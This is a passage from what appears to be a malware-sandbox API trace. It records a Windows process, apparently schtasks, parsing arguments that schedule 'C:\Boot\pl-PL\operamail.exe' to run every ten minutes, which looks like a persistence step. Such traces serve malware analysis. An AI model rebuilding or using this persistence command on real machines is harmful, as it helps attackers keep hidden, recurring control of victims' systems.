_Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|mo|") returned 4 [0135.412] lstrlenW (lpString="|ru|") returned 4 [0135.412] lstrlenW (lpString="|mo|") returned 4 [0135.412] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0135.412] SetLastError (dwErrCode=0x490) [0135.412] lstrlenW (lpString="rp") returned 2 [0135.412] lstrlenW (lpString="rp") returned 2 [0135.412] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.412] lstrlenW (lpString="mo") returned 2 [0135.412] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.412] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|rp|") returned 4 [0135.412] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|mo|") returned 4 [0135.412] lstrlenW (lpString="|rp|") returned 4 [0135.412] lstrlenW (lpString="|mo|") returned 4 [0135.413] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0135.413] SetLastError (dwErrCode=0x490) [0135.413] lstrlenW (lpString="sc") returned 2 [0135.413] lstrlenW (lpString="sc") returned 2 [0135.413] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.413] lstrlenW (lpString="mo") returned 2 [0135.413] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.413] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|sc|") returned 4 [0135.413] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|mo|") returned 4 [0135.413] lstrlenW (lpString="|sc|") returned 4 [0135.413] lstrlenW (lpString="|mo|") returned 4 [0135.413] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0135.413] SetLastError (dwErrCode=0x490) [0135.413] lstrlenW (lpString="mo") returned 2 [0135.413] lstrlenW (lpString="mo") returned 2 [0135.413] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.413] lstrlenW (lpString="mo") returned 2 [0135.413] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.413] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|mo|") returned 4 [0135.413] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|mo|") returned 4 [0135.413] lstrlenW (lpString="|mo|") returned 4 [0135.413] lstrlenW (lpString="|mo|") returned 4 [0135.413] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0135.413] SetLastError (dwErrCode=0x0) [0135.413] SetLastError (dwErrCode=0x0) [0135.414] lstrlenW (lpString="10") returned 2 [0135.414] lstrlenW (lpString="-/") returned 2 [0135.414] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0135.414] SetLastError (dwErrCode=0x490) [0135.414] SetLastError (dwErrCode=0x490) [0135.414] SetLastError (dwErrCode=0x0) [0135.414] lstrlenW (lpString="10") returned 2 [0135.414] StrChrIW (lpStart="10", wMatch=0x3a) returned 0x0 [0135.414] SetLastError (dwErrCode=0x490) [0135.414] SetLastError (dwErrCode=0x0) [0135.414] _memicmp (_Buf1=0x7d530, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.414] lstrlenW (lpString="10") returned 2 [0135.414] lstrlenW (lpString="10") returned 2 [0135.414] lstrlenW (lpString=" \x09") returned 2 [0135.414] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0135.414] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0135.414] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0135.414] GetLastError () returned 0x0 [0135.414] lstrlenW (lpString="10") returned 2 [0135.414] lstrlenW (lpString="10") returned 2 [0135.414] GetProcessHeap () returned 0x60000 [0135.414] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x6) returned 0x7b960 [0135.414] SetLastError (dwErrCode=0x0) [0135.414] SetLastError (dwErrCode=0x0) [0135.414] lstrlenW (lpString="/tr") returned 3 [0135.414] lstrlenW (lpString="-/") returned 2 [0135.414] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.414] lstrlenW (lpString="create") returned 6 [0135.414] lstrlenW (lpString="create") returned 6 [0135.414] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.415] lstrlenW (lpString="tr") returned 2 [0135.415] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.415] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|create|") returned 8 [0135.415] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tr|") returned 4 [0135.415] lstrlenW (lpString="|create|") returned 8 [0135.415] lstrlenW (lpString="|tr|") returned 4 [0135.415] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0135.415] SetLastError (dwErrCode=0x490) [0135.415] lstrlenW (lpString="?") returned 1 [0135.415] lstrlenW (lpString="?") returned 1 [0135.415] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.415] lstrlenW (lpString="tr") returned 2 [0135.415] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.415] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|?|") returned 3 [0135.415] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tr|") returned 4 [0135.415] lstrlenW (lpString="|?|") returned 3 [0135.415] lstrlenW (lpString="|tr|") returned 4 [0135.415] SetLastError (dwErrCode=0x490) [0135.415] lstrlenW (lpString="s") returned 1 [0135.415] lstrlenW (lpString="s") returned 1 [0135.415] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.415] lstrlenW (lpString="tr") returned 2 [0135.415] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.415] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|s|") returned 3 [0135.415] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tr|") returned 4 [0135.416] lstrlenW (lpString="|s|") returned 3 [0135.416] lstrlenW (lpString="|tr|") returned 4 [0135.416] SetLastError (dwErrCode=0x490) [0135.416] lstrlenW (lpString="u") returned 1 [0135.416] lstrlenW (lpString="u") returned 1 [0135.416] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.416] lstrlenW (lpString="tr") returned 2 [0135.416] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.416] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|u|") returned 3 [0135.416] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tr|") returned 4 [0135.416] lstrlenW (lpString="|u|") returned 3 [0135.416] lstrlenW (lpString="|tr|") returned 4 [0135.416] SetLastError (dwErrCode=0x490) [0135.416] lstrlenW (lpString="p") returned 1 [0135.416] lstrlenW (lpString="p") returned 1 [0135.416] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.416] lstrlenW (lpString="tr") returned 2 [0135.416] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.416] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|p|") returned 3 [0135.416] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tr|") returned 4 [0135.416] lstrlenW (lpString="|p|") returned 3 [0135.416] lstrlenW (lpString="|tr|") returned 4 [0135.416] SetLastError (dwErrCode=0x490) [0135.416] lstrlenW (lpString="ru") returned 2 [0135.416] lstrlenW (lpString="ru") returned 2 [0135.417] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.417] lstrlenW (lpString="tr") returned 2 [0135.417] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.417] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|ru|") returned 4 [0135.417] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tr|") returned 4 [0135.417] lstrlenW (lpString="|ru|") returned 4 [0135.417] lstrlenW (lpString="|tr|") returned 4 [0135.417] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0135.417] SetLastError (dwErrCode=0x490) [0135.417] lstrlenW (lpString="rp") returned 2 [0135.417] lstrlenW (lpString="rp") returned 2 [0135.417] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.417] lstrlenW (lpString="tr") returned 2 [0135.417] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.417] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|rp|") returned 4 [0135.417] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tr|") returned 4 [0135.417] lstrlenW (lpString="|rp|") returned 4 [0135.417] lstrlenW (lpString="|tr|") returned 4 [0135.417] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0135.417] SetLastError (dwErrCode=0x490) [0135.417] lstrlenW (lpString="sc") returned 2 [0135.417] lstrlenW (lpString="sc") returned 2 [0135.417] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.417] lstrlenW (lpString="tr") returned 2 [0135.417] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.418] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|sc|") returned 4 [0135.418] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tr|") returned 4 [0135.418] lstrlenW (lpString="|sc|") returned 4 [0135.418] lstrlenW (lpString="|tr|") returned 4 [0135.418] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0135.418] SetLastError (dwErrCode=0x490) [0135.418] lstrlenW (lpString="mo") returned 2 [0135.418] lstrlenW (lpString="mo") returned 2 [0135.418] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.418] lstrlenW (lpString="tr") returned 2 [0135.418] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.418] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|mo|") returned 4 [0135.418] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tr|") returned 4 [0135.418] lstrlenW (lpString="|mo|") returned 4 [0135.418] lstrlenW (lpString="|tr|") returned 4 [0135.418] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0135.418] SetLastError (dwErrCode=0x490) [0135.418] lstrlenW (lpString="d") returned 1 [0135.418] lstrlenW (lpString="d") returned 1 [0135.418] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.418] lstrlenW (lpString="tr") returned 2 [0135.418] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.418] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|d|") returned 3 [0135.418] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tr|") returned 4 [0135.418] lstrlenW (lpString="|d|") returned 3 [0135.418] lstrlenW (lpString="|tr|") returned 4 [0135.418] SetLastError (dwErrCode=0x490) [0135.419] lstrlenW (lpString="m") returned 1 [0135.419] lstrlenW (lpString="m") returned 1 [0135.419] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.419] lstrlenW (lpString="tr") returned 2 [0135.419] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.419] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|m|") returned 3 [0135.419] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tr|") returned 4 [0135.419] lstrlenW (lpString="|m|") returned 3 [0135.419] lstrlenW (lpString="|tr|") returned 4 [0135.419] SetLastError (dwErrCode=0x490) [0135.419] lstrlenW (lpString="i") returned 1 [0135.419] lstrlenW (lpString="i") returned 1 [0135.419] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.419] lstrlenW (lpString="tr") returned 2 [0135.419] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.419] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|i|") returned 3 [0135.419] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tr|") returned 4 [0135.419] lstrlenW (lpString="|i|") returned 3 [0135.419] lstrlenW (lpString="|tr|") returned 4 [0135.419] SetLastError (dwErrCode=0x490) [0135.419] lstrlenW (lpString="tn") returned 2 [0135.419] lstrlenW (lpString="tn") returned 2 [0135.419] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.420] lstrlenW (lpString="tr") returned 2 [0135.420] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.420] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tn|") returned 4 [0135.420] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tr|") returned 4 [0135.420] lstrlenW (lpString="|tn|") returned 4 [0135.420] lstrlenW (lpString="|tr|") returned 4 [0135.420] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0135.420] SetLastError (dwErrCode=0x490) [0135.420] lstrlenW (lpString="tr") returned 2 [0135.420] lstrlenW (lpString="tr") returned 2 [0135.420] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.420] lstrlenW (lpString="tr") returned 2 [0135.420] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.420] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tr|") returned 4 [0135.420] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tr|") returned 4 [0135.420] lstrlenW (lpString="|tr|") returned 4 [0135.420] lstrlenW (lpString="|tr|") returned 4 [0135.420] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0135.420] SetLastError (dwErrCode=0x0) [0135.420] SetLastError (dwErrCode=0x0) [0135.420] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.420] lstrlenW (lpString="-/") returned 2 [0135.420] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0135.420] SetLastError (dwErrCode=0x490) [0135.420] SetLastError (dwErrCode=0x490) [0135.420] SetLastError (dwErrCode=0x0) [0135.420] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.421] StrChrIW (lpStart="'C:\\Boot\\pl-PL\\operamail.exe'", wMatch=0x3a) returned=":\\Boot\\pl-PL\\operamail.exe'" [0135.421] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.421] _memicmp (_Buf1=0x7d4d0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.421] _memicmp (_Buf1=0x7d510, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.421] SetLastError (dwErrCode=0x7a) [0135.421] SetLastError (dwErrCode=0x0) [0135.421] SetLastError (dwErrCode=0x0) [0135.421] lstrlenW (lpString="'C") returned 2 [0135.421] lstrlenW (lpString="-/") returned 2 [0135.421] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0135.421] SetLastError (dwErrCode=0x490) [0135.421] SetLastError (dwErrCode=0x490) [0135.421] SetLastError (dwErrCode=0x0) [0135.421] _memicmp (_Buf1=0x7d530, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.421] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.421] GetProcessHeap () returned 0x60000 [0135.421] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d550) returned 1 [0135.421] GetProcessHeap () returned 0x60000 [0135.421] RtlReAllocateHeap (Heap=0x60000, Flags=0xc, Ptr=0x7d550, Size=0x3c) returned 0x792c0 [0135.421] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.421] lstrlenW (lpString=" \x09") returned 2 [0135.421] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0135.421] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0135.421] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0135.421] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0135.421] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0135.421] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0135.421] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0135.421] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0135.422] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0135.422] GetLastError () returned 0x0 [0135.422] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.422] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.422] SetLastError (dwErrCode=0x0) [0135.422] SetLastError (dwErrCode=0x0) [0135.422] lstrlenW (lpString="/f") returned 2 [0135.422] lstrlenW (lpString="-/") returned 2 [0135.423] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.423] lstrlenW (lpString="create") returned 6 [0135.423] lstrlenW (lpString="create") returned 6 [0135.423] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.423] lstrlenW (lpString="f") returned 1 [0135.423] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.423] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|create|") returned 8 [0135.423] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.423] lstrlenW (lpString="|create|") returned 8 [0135.423] lstrlenW (lpString="|f|") returned 3 [0135.423] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0135.423] SetLastError (dwErrCode=0x490) [0135.423] lstrlenW (lpString="?") returned 1 [0135.423] lstrlenW (lpString="?") returned 1 [0135.423] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.423] lstrlenW (lpString="f") returned 1 [0135.423] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.423] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|?|") returned 3 [0135.423] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.423] lstrlenW (lpString="|?|") returned 3 [0135.423] lstrlenW (lpString="|f|") returned 3 [0135.423] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0135.423] SetLastError (dwErrCode=0x490) [0135.423] lstrlenW (lpString="s") returned 1 [0135.423] lstrlenW (lpString="s") returned 1 [0135.423] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.424] lstrlenW (lpString="f") returned 1 [0135.424] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.424] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|s|") returned 3 [0135.424] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.424] lstrlenW (lpString="|s|") returned 3 [0135.424] lstrlenW (lpString="|f|") returned 3 [0135.424] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0135.424] SetLastError (dwErrCode=0x490) [0135.424] lstrlenW (lpString="u") returned 1 [0135.424] lstrlenW (lpString="u") returned 1 [0135.424] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.424] lstrlenW (lpString="f") returned 1 [0135.424] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.424] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|u|") returned 3 [0135.424] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.424] lstrlenW (lpString="|u|") returned 3 [0135.424] lstrlenW (lpString="|f|") returned 3 [0135.424] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0135.424] SetLastError (dwErrCode=0x490) [0135.424] lstrlenW (lpString="p") returned 1 [0135.424] lstrlenW (lpString="p") returned 1 [0135.424] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.424] lstrlenW (lpString="f") returned 1 [0135.424] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.424] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|p|") returned 3 [0135.425] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.425] lstrlenW (lpString="|p|") returned 3 [0135.425] lstrlenW (lpString="|f|") returned 3 [0135.425] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0135.425] SetLastError (dwErrCode=0x490) [0135.425] lstrlenW (lpString="ru") returned 2 [0135.425] lstrlenW (lpString="ru") returned 2 [0135.425] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.425] lstrlenW (lpString="f") returned 1 [0135.425] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.425] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|ru|") returned 4 [0135.425] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.425] lstrlenW (lpString="|ru|") returned 4 [0135.425] lstrlenW (lpString="|f|") returned 3 [0135.425] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0135.425] SetLastError (dwErrCode=0x490) [0135.425] lstrlenW (lpString="rp") returned 2 [0135.425] lstrlenW (lpString="rp") returned 2 [0135.425] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.425] lstrlenW (lpString="f") returned 1 [0135.425] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.425] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|rp|") returned 4 [0135.425] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.425] lstrlenW (lpString="|rp|") returned 4 [0135.425] lstrlenW (lpString="|f|") returned 3 [0135.425] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0135.425] SetLastError (dwErrCode=0x490) [0135.426] lstrlenW (lpString="sc") returned 2 [0135.426] lstrlenW (lpString="sc") returned 2 [0135.426] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.426] lstrlenW (lpString="f") returned 1 [0135.426] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.426] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|sc|") returned 4 [0135.426] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.426] lstrlenW (lpString="|sc|") returned 4 [0135.426] lstrlenW (lpString="|f|") returned 3 [0135.426] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0135.426] SetLastError (dwErrCode=0x490) [0135.426] lstrlenW (lpString="mo") returned 2 [0135.426] lstrlenW (lpString="mo") returned 2 [0135.426] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.426] lstrlenW (lpString="f") returned 1 [0135.426] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.426] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|mo|") returned 4 [0135.426] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|f|") returned 3 [0135.426] lstrlenW 